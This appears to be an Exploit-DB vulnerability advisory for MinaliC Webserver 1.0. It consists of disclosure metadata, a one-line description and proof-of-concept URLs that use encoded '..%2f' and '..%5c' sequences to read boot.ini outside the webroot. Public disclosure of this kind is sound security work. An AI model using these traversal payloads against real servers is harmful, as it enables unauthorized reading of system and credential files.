MinaliC WebServer 1.0 - Directory Traversal

Author: John Leitch
type: remote
platform: windows
port: 
date_added: 2010-10-27  
date_updated: 2010-10-27  
verified: 1  
codes: OSVDB-68880  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt15500/screen-shot-2010-10-27-at-52840-pm.png  
application_url:   

raw file: 15333.txt  

------------------------------------------------------------------------
Software................MinaliC Webserver 1.0
Vulnerability...........Directory Traversal
Download................http://sourceforge.net/projects/minalic/
Release Date............10/24/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
exploited to read files outside of the webroot directory.


--Exploit--
..%2f
..%5c


--PoC--
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini